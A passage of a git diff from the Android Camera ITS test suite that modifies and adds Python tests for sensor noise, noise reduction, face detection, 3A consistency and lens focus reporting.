+GR_PLANE = 1  # GR plane index in RGGB data
+IMG_STATS_GRID = 9  # find used to find the center 11.11%
+NAME = os.path.basename(__file__).split(".")[0]
+NUM_STEPS = 5
+VAR_THRESH = 1.01  # each shot must be 1% noisier than previous
+
+
 def main():
     """Capture a set of raw images with increasing gains and measure the noise.
     """
-    NAME = os.path.basename(__file__).split(".")[0]
-
-    # Each shot must be 1% noisier (by the variance metric) than the previous
-    # one.
-    VAR_THRESH = 1.01
-
-    NUM_STEPS = 5
 
     with its.device.ItsSession() as cam:
 
@@ -39,13 +38,14 @@
                              its.caps.manual_sensor(props) and
                              its.caps.read_3a(props) and
                              its.caps.per_frame_control(props))
+        debug = its.caps.debug_mode()
 
         # Expose for the scene with min sensitivity
-        sens_min, sens_max = props['android.sensor.info.sensitivityRange']
+        sens_min, _ = props["android.sensor.info.sensitivityRange"]
         # Digital gains might not be visible on RAW data
-        sens_max = props['android.sensor.maxAnalogSensitivity']
+        sens_max = props["android.sensor.maxAnalogSensitivity"]
         sens_step = (sens_max - sens_min) / NUM_STEPS
-        s_ae,e_ae,_,_,f_dist  = cam.do_3a(get_results=True)
+        s_ae, e_ae, _, _, f_dist = cam.do_3a(get_results=True)
         s_e_prod = s_ae * e_ae
 
         variances = []
@@ -54,27 +54,46 @@
             e = int(s_e_prod / float(s))
             req = its.objects.manual_capture_request(s, e, f_dist)
 
-            # Capture raw+yuv, but only look at the raw.
-            cap,_ = cam.do_capture(req, cam.CAP_RAW_YUV)
-
+            # Capture raw in debug mode, rawStats otherwise
             # Measure the variance. Each shot should be noisier than the
             # previous shot (as the gain is increasing).
-            plane = its.image.convert_capture_to_planes(cap, props)[1]
-            tile = its.image.get_image_patch(plane, 0.45,0.45,0.1,0.1)
-            var = its.image.compute_image_variances(tile)[0]
+            if debug:
+                cap = cam.do_capture(req, cam.CAP_RAW)
+                gr = its.image.convert_capture_to_planes(cap, props)[1]
+                tile = its.image.get_image_patch(gr, 0.445, 0.445, 0.11, 0.11)
+                var = its.image.compute_image_variances(tile)[0]
+                img = its.image.convert_capture_to_rgb_image(cap, props=props)
+                its.image.write_image(img, "%s_s=%05d_var=%f.jpg" %
+                                      (NAME, s, var))
+            else:
+                # Get the active array width and height.
+                aax = props["android.sensor.info.activeArraySize"]["left"]
+                aay = props["android.sensor.info.activeArraySize"]["top"]
+                aaw = props["android.sensor.info.activeArraySize"]["right"]-aax
+                aah = props["android.sensor.info.activeArraySize"]["bottom"]-aay
+                white_level = float(props["android.sensor.info.whiteLevel"])
+                cap = cam.do_capture(req,
+                                     {"format": "rawStats",
+                                      "gridWidth": aaw/IMG_STATS_GRID,
+                                      "gridHeight": aah/IMG_STATS_GRID})
+                _, var_image = its.image.unpack_rawstats_capture(cap)
+                cfa_idxs = its.image.get_canonical_cfa_order(props)
+                var = var_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2,
+                                cfa_idxs[GR_PLANE]]/white_level**2
+
             variances.append(var)
+            print "s=%d, e=%d, var=%e" % (s, e, var)
 
-            img = its.image.convert_capture_to_rgb_image(cap, props=props)
-            its.image.write_image(img, "%s_s=%05d_var=%f.jpg" % (NAME,s,var))
-            print "s=%d, e=%d, var=%e"%(s,e,var)
-
-        pylab.plot(range(len(variances)), variances)
-        matplotlib.pyplot.savefig("%s_variances.png" % (NAME))
+        x = range(len(variances))
+        pylab.plot(x, variances, "-ro")
+        pylab.xticks(x)
+        pylab.xlabel("Setting Combination")
+        pylab.ylabel("Image Center Patch Variance")
+        matplotlib.pyplot.savefig("%s_variances.png" % NAME)
 
         # Test that each shot is noisier than the previous one.
         for i in range(len(variances) - 1):
-            assert(variances[i] < variances[i+1] / VAR_THRESH)
+            assert variances[i] < variances[i+1] / VAR_THRESH
 
-if __name__ == '__main__':
+if __name__ == "__main__":
     main()
-
diff --git a/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py b/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py
index f0a6fbe..f6eecae 100644
--- a/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py
+++ b/apps/CameraITS/tests/scene1/test_reprocess_noise_reduction.py
@@ -17,12 +17,14 @@
 import its.device
 import its.objects
 import its.target
-import math
 import matplotlib
 import matplotlib.pyplot
 import numpy
 import os.path
-import pylab
+from matplotlib import pylab
+
+NR_MODES = [0, 1, 2, 3, 4]
+
 
 def main():
     """Test that the android.noiseReduction.mode param is applied when set for
@@ -82,7 +84,7 @@
             print "Ref SNRs:", ref_snr
 
             e, s = its.target.get_target_exposure_combos(cam)["maxSensitivity"]
-            for nr_mode in range(5):
+            for nr_mode in NR_MODES:
                 # Skip unavailable modes
                 if not its.caps.noise_reduction_mode(props, nr_mode):
                     nr_modes_reported.append(nr_mode)
@@ -130,13 +132,17 @@
                     snrs[chan].append(rgb_snrs[chan])
 
             # Draw a plot.
+            pylab.figure(reprocess_format)
             for channel in range(3):
-                pylab.plot(range(5), snrs[channel], "rgb"[channel])
+                pylab.plot(NR_MODES, snrs[channel], "-"+"rgb"[channel]+"o")
 
+            pylab.xlabel("Noise Reduction Mode")
+            pylab.ylabel("SNR (dB)")
+            pylab.xticks(NR_MODES)
             matplotlib.pyplot.savefig("%s_plot_%s_SNRs.png" %
                                       (NAME, reprocess_format))
 
-            assert(nr_modes_reported == [0,1,2,3,4])
+            assert nr_modes_reported == NR_MODES
 
             for j in range(3):
                 # Larger is better
diff --git a/apps/CameraITS/tests/scene2/scene2.pdf b/apps/CameraITS/tests/scene2/scene2.pdf
index ccde9d98..f4f94e6 100644
--- a/apps/CameraITS/tests/scene2/scene2.pdf
+++ b/apps/CameraITS/tests/scene2/scene2.pdf
Binary files differ
diff --git a/apps/CameraITS/tests/scene2/test_faces.py b/apps/CameraITS/tests/scene2/test_faces.py
index 388a7e0..4e30fc1 100644
--- a/apps/CameraITS/tests/scene2/test_faces.py
+++ b/apps/CameraITS/tests/scene2/test_faces.py
@@ -26,6 +26,7 @@
     FD_MODE_OFF = 0
     FD_MODE_SIMPLE = 1
     FD_MODE_FULL = 2
+    W, H = 640, 480
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
@@ -44,26 +45,12 @@
             assert(FD_MODE_OFF <= fd_mode <= FD_MODE_FULL)
             req = its.objects.auto_capture_request()
             req['android.statistics.faceDetectMode'] = fd_mode
-            max_img_size = its.objects.get_available_output_sizes("yuv", props)[0]
-            w = max_img_size[0]
-            h = max_img_size[1]
-            out_surf=None
-            if w * h > 12 * 1024 * 1024:
-                size_to_use = its.objects.get_available_output_sizes("yuv",
-                    props, max_size=(4000, 3000), match_ar_size=(w, h))[0]
-                out_surf = {
-                   "width": size_to_use[0],
-                   "height": size_to_use[1],
-                   "format": "yuv",
-                }
-            caps = cam.do_capture([req]*NUM_TEST_FRAMES, out_surfaces=out_surf)
+            fmt = {"format":"yuv", "width":W, "height":H}
+            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
             for i,cap in enumerate(caps):
                 md = cap['metadata']
                 assert(md['android.statistics.faceDetectMode'] == fd_mode)
                 faces = md['android.statistics.faces']
-                img = its.image.convert_capture_to_rgb_image(cap, props=props)
-                img_name = "%s_fd_mode_%s.jpg" % (NAME, fd_mode)
-                its.image.write_image(img, img_name)
 
                 # 0 faces should be returned for OFF mode
                 if fd_mode == FD_MODE_OFF:
@@ -72,6 +59,10 @@
                 # Face detection could take several frames to warm up,
                 # but it should detect at least one face in last frame
                 if i == NUM_TEST_FRAMES - 1:
+                    img = its.image.convert_capture_to_rgb_image(cap, props=props)
+                    img = its.image.flip_mirror_img_per_argv(img)
+                    img_name = "%s_fd_mode_%s.jpg" % (NAME, fd_mode)
+                    its.image.write_image(img, img_name)
                     if len(faces) == 0:
                         print "Error: no face detected in mode", fd_mode
                         assert(0)
diff --git a/apps/CameraITS/tests/scene2/test_num_faces.py b/apps/CameraITS/tests/scene2/test_num_faces.py
new file mode 100644
index 0000000..16e53ad
--- /dev/null
+++ b/apps/CameraITS/tests/scene2/test_num_faces.py
@@ -0,0 +1,97 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os.path
+import cv2
+import its.caps
+import its.device
+import its.image
+import its.objects
+
+NAME = os.path.basename(__file__).split('.')[0]
+NUM_TEST_FRAMES = 20
+NUM_FACES = 3
+FD_MODE_OFF = 0
+FD_MODE_SIMPLE = 1
+FD_MODE_FULL = 2
+W, H = 640, 480
+
+
+def main():
+    """Test face detection."""
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        fd_modes = props['android.statistics.info.availableFaceDetectModes']
+        a = props['android.sensor.info.activeArraySize']
+        aw, ah = a['right'] - a['left'], a['bottom'] - a['top']
+
+        if its.caps.read_3a(props):
+            _, _, _, _, _ = cam.do_3a(get_results=True)
+
+        for fd_mode in fd_modes:
+            assert FD_MODE_OFF <= fd_mode <= FD_MODE_FULL
+            req = its.objects.auto_capture_request()
+            req['android.statistics.faceDetectMode'] = fd_mode
+            fmt = {'format': 'yuv', 'width': W, 'height': H}
+            caps = cam.do_capture([req]*NUM_TEST_FRAMES, fmt)
+            for i, cap in enumerate(caps):
+                md = cap['metadata']
+                assert md['android.statistics.faceDetectMode'] == fd_mode
+                faces = md['android.statistics.faces']
+
+                # 0 faces should be returned for OFF mode
+                if fd_mode == FD_MODE_OFF:
+                    assert not faces
+                    continue
+                # Face detection could take several frames to warm up,
+                # but should detect the correct number of faces in last frame
+                if i == NUM_TEST_FRAMES - 1:
+                    img = its.image.convert_capture_to_rgb_image(cap,
+                                                                 props=props)
+                    fnd_faces = len(faces)
+                    print 'Found %d face(s), expected %d.' % (fnd_faces,
+                                                              NUM_FACES)
+                    # draw boxes around faces
+                    for rect in [face['bounds'] for face in faces]:
+                        top_left = (int(round(rect['left']*W/aw)),
+                                    int(round(rect['top']*H/ah)))
+                        bot_rght = (int(round(rect['right']*W/aw)),
+                                    int(round(rect['bottom']*H/ah)))
+                        cv2.rectangle(img, top_left, bot_rght, (0, 1, 0), 2)
+                        img_name = '%s_fd_mode_%s.jpg' % (NAME, fd_mode)
+                        its.image.write_image(img, img_name)
+                    assert fnd_faces == NUM_FACES
+                if not faces:
+                    continue
+
+                print 'Frame %d face metadata:' % i
+                print '  Faces:', faces
+                print ''
+
+                # Reasonable scores for faces
+                face_scores = [face['score'] for face in faces]
+                for score in face_scores:
+                    assert score >= 1 and score <= 100
+                # Face bounds should be within active array
+                face_rectangles = [face['bounds'] for face in faces]
+                for rect in face_rectangles:
+                    assert rect['top'] < rect['bottom']
+                    assert rect['left'] < rect['right']
+                    assert 0 <= rect['top'] <= ah
+                    assert 0 <= rect['bottom'] <= ah
+                    assert 0 <= rect['left'] <= aw
+                    assert 0 <= rect['right'] <= aw
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene3/test_3a_consistency.py b/apps/CameraITS/tests/scene3/test_3a_consistency.py
new file mode 100644
index 0000000..f43b3eb
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_3a_consistency.py
@@ -0,0 +1,63 @@
+# Copyright 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import its.caps
+import its.device
+import its.target
+
+import numpy as np
+
+GGAIN_TOL = 0.1
+FD_TOL = 0.1
+SENS_TOL = 0.1
+EXP_TOL = 0.1
+NUM_TEST_ITERATIONS = 3
+
+
+def main():
+    """Basic test for 3A consistency.
+
+    To pass, 3A must converge for exp, gain, awb, fd within TOL.
+    """
+
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(its.caps.read_3a(props))
+
+        exps = []
+        senses = []
+        g_gains = []
+        fds = []
+        for _ in range(NUM_TEST_ITERATIONS):
+            try:
+                s, e, g, xform, fd = cam.do_3a(get_results=True)
+                print ' sensitivity', s, 'exposure', e
+                print ' gains', g, 'transform', xform
+                print ' fd', fd
+                print ''
+                exps.append(e)
+                senses.append(s)
+                g_gains.append(g[2])
+                fds.append(fd)
+            except its.error.Error:
+                print ' FAIL\n'
+        assert len(exps) == NUM_TEST_ITERATIONS
+        assert np.isclose(np.amax(exps), np.amin(exps), EXP_TOL)
+        assert np.isclose(np.amax(senses), np.amin(senses), SENS_TOL)
+        assert np.isclose(np.amax(g_gains), np.amin(g_gains), GGAIN_TOL)
+        assert np.isclose(np.amax(fds), np.amin(fds), FD_TOL)
+
+if __name__ == '__main__':
+    main()
+
diff --git a/apps/CameraITS/tests/scene3/test_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
index a2dfdbe..37e1d63 100644
--- a/apps/CameraITS/tests/scene3/test_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_edge_enhancement.py
@@ -22,7 +22,7 @@
 import matplotlib.pyplot
 import numpy
 import os.path
-import pylab
+from matplotlib import pylab
 
 
 def test_edge_mode(cam, edge_mode, sensitivity, exp, fd, out_surface):
diff --git a/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
new file mode 100644
index 0000000..cd563be
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_lens_movement_reporting.py
@@ -0,0 +1,185 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+
+import its.caps
+import its.cv2image
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NUM_IMGS = 12
+FRAME_TIME_TOL = 10  # ms
+SHARPNESS_TOL = 0.10  # percentage
+POSITION_TOL = 0.10  # percentage
+VGA_WIDTH = 640
+VGA_HEIGHT = 480
+NAME = os.path.basename(__file__).split('.')[0]
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+                          'test_images', 'ISO12233.png')
+CHART_HEIGHT = 13.5  # cm
+CHART_DISTANCE = 30.0  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+
+
+def test_lens_movement_reporting(cam, props, fmt, sensitivity, exp, af_fd):
+    """Return fd, sharpness, lens state of the output images.
+
+    Args:
+        cam: An open device session.
+        props: Properties of cam
+        fmt: dict; capture format
+        sensitivity: Sensitivity for the 3A request as defined in
+            android.sensor.sensitivity
+        exp: Exposure time for the 3A request as defined in
+            android.sensor.exposureTime
+        af_fd: Focus distance for the 3A request as defined in
+            android.lens.focusDistance
+
+    Returns:
+        Object containing reported sharpness of the output image, keyed by
+        the following string:
+            'sharpness'
+    """
+
+    # initialize chart class
+    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+                               CHART_SCALE_START, CHART_SCALE_STOP,
+                               CHART_SCALE_STEP)
+
+    # find chart location
+    xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
+                                              exp, af_fd)
+
+    # initialize variables and take data sets
+    data_set = {}
+    white_level = int(props['android.sensor.info.whiteLevel'])
+    min_fd = props['android.lens.info.minimumFocusDistance']
+    fds = [af_fd, min_fd]
+    fds = sorted(fds * NUM_IMGS)
+    reqs = []
+    for i, fd in enumerate(fds):
+        reqs.append(its.objects.manual_capture_request(sensitivity, exp))
+        reqs[i]['android.lens.focusDistance'] = fd
+    caps = cam.do_capture(reqs, fmt)
+    for i, cap in enumerate(caps):
+        data = {'fd': fds[i]}
+        data['loc'] = cap['metadata']['android.lens.focusDistance']
+        data['lens_moving'] = (cap['metadata']['android.lens.state']
+                               == 1)
+        timestamp = cap['metadata']['android.sensor.timestamp']
+        if i == 0:
+            timestamp_init = timestamp
+        timestamp -= timestamp_init
+        timestamp *= 1E-6
+        data['timestamp'] = timestamp
+        print ' focus distance (diopters): %.3f' % data['fd']
+        print ' current lens location (diopters): %.3f' % data['loc']
+        print ' lens moving %r' % data['lens_moving']
+        y, _, _ = its.image.convert_capture_to_planes(cap, props)
+        y = its.image.flip_mirror_img_per_argv(y)
+        chart = its.image.normalize_img(its.image.get_image_patch(y,
+                                                                  xnorm, ynorm,
+                                                                  wnorm, hnorm))
+        its.image.write_image(chart, '%s_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        print 'Chart sharpness: %.1f\n' % data['sharpness']
+        data_set[i] = data
+    return data_set
+
+
+def main():
+    """Test if focus distance is properly reported.
+
+    Capture images at a variety of focus locations.
+    """
+
+    print '\nStarting test_lens_movement_reporting.py'
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(not its.caps.fixed_focus(props))
+        its.caps.skip_unless(its.caps.lens_approx_calibrated(props))
+        min_fd = props['android.lens.info.minimumFocusDistance']
+        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+
+        # Get proper sensitivity, exposure time, and focus distance with 3A.
+        s, e, _, _, fd = cam.do_3a(get_results=True)
+
+        # Get sharpness for each focal distance
+        d = test_lens_movement_reporting(cam, props, fmt, s, e, fd)
+        for k in sorted(d):
+            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+                   'sharpness: %.1f  \tlens_moving: %r \t'
+                   'timestamp: %.1fms' % (k, d[k]['fd'], d[k]['loc'],
+                                          d[k]['sharpness'],
+                                          d[k]['lens_moving'],
+                                          d[k]['timestamp']))
+
+        # assert frames are consecutive
+        print 'Asserting frames are consecutive'
+        times = [v['timestamp'] for v in d.itervalues()]
+        diffs = np.gradient(times)
+        assert np.isclose(np.amax(diffs)-np.amax(diffs), 0, atol=FRAME_TIME_TOL)
+
+        # remove data when lens is moving
+        for k in sorted(d):
+            if d[k]['lens_moving']:
+                del d[k]
+
+        # split data into min_fd and af data for processing
+        d_min_fd = {}
+        d_af_fd = {}
+        for k in sorted(d):
+            if d[k]['fd'] == min_fd:
+                d_min_fd[k] = d[k]
+            if d[k]['fd'] == fd:
+                d_af_fd[k] = d[k]
+
+        # assert reported locations are close at af_fd
+        print 'Asserting lens location of af_fd data'
+        min_loc = min([v['loc'] for v in d_af_fd.itervalues()])
+        max_loc = max([v['loc'] for v in d_af_fd.itervalues()])
+        assert np.isclose(min_loc, max_loc, rtol=POSITION_TOL)
+        # assert reported sharpness is close at af_fd
+        print 'Asserting sharpness of af_fd data'
+        min_sharp = min([v['sharpness'] for v in d_af_fd.itervalues()])
+        max_sharp = max([v['sharpness'] for v in d_af_fd.itervalues()])
+        assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_TOL)
+        # assert reported location is close to assign location for af_fd
+        print 'Asserting lens location close to assigned fd for af_fd data'
+        assert np.isclose(d_af_fd[0]['loc'], d_af_fd[0]['fd'],
+                          rtol=POSITION_TOL)
+
+        # assert reported location is close for min_fd captures
+        print 'Asserting lens location similar min_fd data'
+        min_loc = min([v['loc'] for v in d_min_fd.itervalues()])
+        max_loc = max([v['loc'] for v in d_min_fd.itervalues()])
+        assert np.isclose(min_loc, max_loc, rtol=POSITION_TOL)
+        # assert reported sharpness is close at min_fd
+        print 'Asserting sharpness of min_fd data'
+        min_sharp = min([v['sharpness'] for v in d_min_fd.itervalues()])
+        max_sharp = max([v['sharpness'] for v in d_min_fd.itervalues()])
+        assert np.isclose(min_sharp, max_sharp, rtol=SHARPNESS_TOL)
+        # assert reported location is close to assign location for min_fd
+        print 'Asserting lens location close to assigned fd for min_fd data'
+        assert np.isclose(d_min_fd[NUM_IMGS*2-1]['loc'],
+                          d_min_fd[NUM_IMGS*2-1]['fd'], rtol=POSITION_TOL)
+
+
+if __name__ == '__main__':
+    main()
diff --git a/apps/CameraITS/tests/scene3/test_lens_position.py b/apps/CameraITS/tests/scene3/test_lens_position.py
new file mode 100644
index 0000000..f850e3d
--- /dev/null
+++ b/apps/CameraITS/tests/scene3/test_lens_position.py
@@ -0,0 +1,200 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the 'License');
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an 'AS IS' BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import os
+
+import its.caps
+import its.cv2image
+import its.device
+import its.image
+import its.objects
+import numpy as np
+
+NUM_TRYS = 2
+NUM_STEPS = 6
+SHARPNESS_TOL = 10  # percentage
+POSITION_TOL = 10  # percentage
+FRAME_TIME_TOL = 10  # ms
+VGA_WIDTH = 640
+VGA_HEIGHT = 480
+NAME = os.path.basename(__file__).split('.')[0]
+CHART_FILE = os.path.join(os.environ['CAMERA_ITS_TOP'], 'pymodules', 'its',
+                          'test_images', 'ISO12233.png')
+CHART_HEIGHT = 13.5  # cm
+CHART_DISTANCE = 30.0  # cm
+CHART_SCALE_START = 0.65
+CHART_SCALE_STOP = 1.35
+CHART_SCALE_STEP = 0.025
+
+
+def test_lens_position(cam, props, fmt, sensitivity, exp, af_fd):
+    """Return fd, sharpness, lens state of the output images.
+
+    Args:
+        cam: An open device session.
+        props: Properties of cam
+        fmt: dict; capture format
+        sensitivity: Sensitivity for the 3A request as defined in
+            android.sensor.sensitivity
+        exp: Exposure time for the 3A request as defined in
+            android.sensor.exposureTime
+        af_fd: Focus distance for the 3A request as defined in
+            android.lens.focusDistance
+
+    Returns:
+        Dictionary of results for different focal distance captures
+        with static lens positions and moving lens positions
+        d_static, d_moving
+    """
+
+    # initialize chart class
+    chart = its.cv2image.Chart(CHART_FILE, CHART_HEIGHT, CHART_DISTANCE,
+                                CHART_SCALE_START, CHART_SCALE_STOP,
+                                CHART_SCALE_STEP)
+
+    # find chart location
+    xnorm, ynorm, wnorm, hnorm = chart.locate(cam, props, fmt, sensitivity,
+                                              exp, af_fd)
+
+    # initialize variables and take data sets
+    data_static = {}
+    data_moving = {}
+    white_level = int(props['android.sensor.info.whiteLevel'])
+    min_fd = props['android.lens.info.minimumFocusDistance']
+    hyperfocal = props['android.lens.info.hyperfocalDistance']
+    fds_f = np.arange(hyperfocal, min_fd, (min_fd-hyperfocal)/(NUM_STEPS-1))
+    fds_f = np.append(fds_f, min_fd)
+    fds_f = fds_f.tolist()
+    fds_b = list(reversed(fds_f))
+    fds_fb = list(fds_f)
+    fds_fb.extend(fds_b)  # forward and back
+    # take static data set
+    for i, fd in enumerate(fds_fb):
+        req = its.objects.manual_capture_request(sensitivity, exp)
+        req['android.lens.focusDistance'] = fd
+        cap = its.image.stationary_lens_cap(cam, req, fmt)
+        data = {'fd': fds_fb[i]}
+        data['loc'] = cap['metadata']['android.lens.focusDistance']
+        print ' focus distance (diopters): %.3f' % data['fd']
+        print ' current lens location (diopters): %.3f' % data['loc']
+        y, _, _ = its.image.convert_capture_to_planes(cap, props)
+        chart = its.image.normalize_img(its.image.get_image_patch(y,
+                                                                  xnorm, ynorm,
+                                                                  wnorm, hnorm))
+        its.image.write_image(chart, '%s_stat_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        print 'Chart sharpness: %.1f\n' % data['sharpness']
+        data_static[i] = data
+    # take moving data set
+    reqs = []
+    for i, fd in enumerate(fds_f):
+        reqs.append(its.objects.manual_capture_request(sensitivity, exp))
+        reqs[i]['android.lens.focusDistance'] = fd
+    caps = cam.do_capture(reqs, fmt)
+    for i, cap in enumerate(caps):
+        data = {'fd': fds_f[i]}
+        data['loc'] = cap['metadata']['android.lens.focusDistance']
+        data['lens_moving'] = (cap['metadata']['android.lens.state']
+                               == 1)
+        timestamp = cap['metadata']['android.sensor.timestamp'] * 1E-6
+        if i == 0:
+            timestamp_init = timestamp
+        timestamp -= timestamp_init
+        data['timestamp'] = timestamp
+        print ' focus distance (diopters): %.3f' % data['fd']
+        print ' current lens location (diopters): %.3f' % data['loc']
+        y, _, _ = its.image.convert_capture_to_planes(cap, props)
+        y = its.image.flip_mirror_img_per_argv(y)
+        chart = its.image.normalize_img(its.image.get_image_patch(y,
+                                                                  xnorm, ynorm,
+                                                                  wnorm, hnorm))
+        its.image.write_image(chart, '%s_move_i=%d_chart.jpg' % (NAME, i))
+        data['sharpness'] = white_level*its.image.compute_image_sharpness(chart)
+        print 'Chart sharpness: %.1f\n' % data['sharpness']
+        data_moving[i] = data
+    return data_static, data_moving
+
+
+def main():
+    """Test if focus position is properly reported for moving lenses."""
+
+    print '\nStarting test_lens_position.py'
+    with its.device.ItsSession() as cam:
+        props = cam.get_camera_properties()
+        its.caps.skip_unless(not its.caps.fixed_focus(props))
+        its.caps.skip_unless(its.caps.lens_calibrated(props))
+        fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+
+        # Get proper sensitivity, exposure time, and focus distance with 3A.
+        s, e, _, _, fd = cam.do_3a(get_results=True)
+
+        # Get sharpness for each focal distance
+        d_stat, d_move = test_lens_position(cam, props, fmt, s, e, fd)
+        print 'Lens stationary'
+        for k in sorted(d_stat):
+            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+                   'sharpness: %.1f' % (k, d_stat[k]['fd'],
+                                        d_stat[k]['loc'],
+                                        d_stat[k]['sharpness']))
+        print 'Lens moving'
+        for k in sorted(d_move):
+            print ('i: %d\tfd: %.3f\tlens location (diopters): %.3f \t'
+                   'sharpness: %.1f  \tlens_moving: %r \t'
+                   'timestamp: %.1fms' % (k, d_move[k]['fd'],
+                                          d_move[k]['loc'],
+                                          d_move[k]['sharpness'],
+                                          d_move[k]['lens_moving'],
+                                          d_move[k]['timestamp']))
+
+        # assert static reported location/sharpness is close
+        print 'Asserting static lens locations/sharpness are similar'
+        for i in range(len(d_stat)/2):
+            j = 2 * NUM_STEPS - 1 - i
+            print (' lens position: %.3f'
+                   % d_stat[i]['fd'])
+            assert np.isclose(d_stat[i]['loc'], d_stat[i]['fd'],
+                              rtol=POSITION_TOL/100.0)
+            assert np.isclose(d_stat[i]['loc'], d_stat[j]['loc'],
+                              rtol=POSITION_TOL/100.0)
+            assert np.isclose(d_stat[i]['sharpness'], d_stat[j]['sharpness'],
+                              rtol=SHARPNESS_TOL/100.0)
+        # assert moving frames approximately consecutive with even distribution
+        print 'Asserting moving frames are consecutive'
+        times = [v['timestamp'] for v in d_move.itervalues()]
+        diffs = np.gradient(times)
+        assert np.isclose(np.amin(diffs), np.amax(diffs), atol=FRAME_TIME_TOL)
+        # assert reported location/sharpness is correct in moving frames
+        print 'Asserting moving lens locations/sharpness are similar'
+        for i in range(len(d_move)):
+            print ' lens position: %.3f' % d_stat[i]['fd']
+            assert np.isclose(d_stat[i]['loc'], d_move[i]['loc'],
+                              rtol=POSITION_TOL)
+            if d_move[i]['lens_moving'] and i > 0:
+                if d_stat[i]['sharpness'] > d_stat[i-1]['sharpness']:
+                    assert (d_stat[i]['sharpness']*(1.0+SHARPNESS_TOL) >
+                            d_move[i]['sharpness'] >
+                            d_stat[i-1]['sharpness']*(1.0-SHARPNESS_TOL))
+                else:
+                    assert (d_stat[i-1]['sharpness']*(1.0+SHARPNESS_TOL) >
+                            d_move[i]['sharpness'] >
+                            d_stat[i]['sharpness']*(1.0-SHARPNESS_TOL))
+            elif not d_move[i]['lens_moving']:
+                assert np.isclose(d_stat[i]['sharpness'],
+                                  d_move[i]['sharpness'], rtol=SHARPNESS_TOL)
+            else:
+                raise its.error.Error('Lens is moving at frame 0!')
+
+if __name__ == '__main__':
+    main()
+
diff --git a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
index 3bd4b34..95fc636 100644
--- a/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
+++ b/apps/CameraITS/tests/scene3/test_reprocess_edge_enhancement.py
@@ -22,7 +22,7 @@
 import matplotlib.pyplot
 import numpy
 import os.path
-import pylab
+from matplotlib import pylab
 
 
 def test_edge_mode(cam, edge_mode, sensitivity, exp, fd, out_surface,
diff --git a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
index 288d6e4..5da1ade 100644
--- a/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
+++ b/apps/CameraITS/tests/sensor_fusion/test_sensor_fusion.py
@@ -18,12 +18,12 @@
 import its.caps
 import time
 import math
-import pylab
+from matplotlib import pylab
 import os.path
 import matplotlib
 import matplotlib.pyplot
 import json
-import Image
+from PIL import Image
 import numpy
 import cv2
 import bisect
@@ -68,7 +68,7 @@
 
 # Pass/fail thresholds.
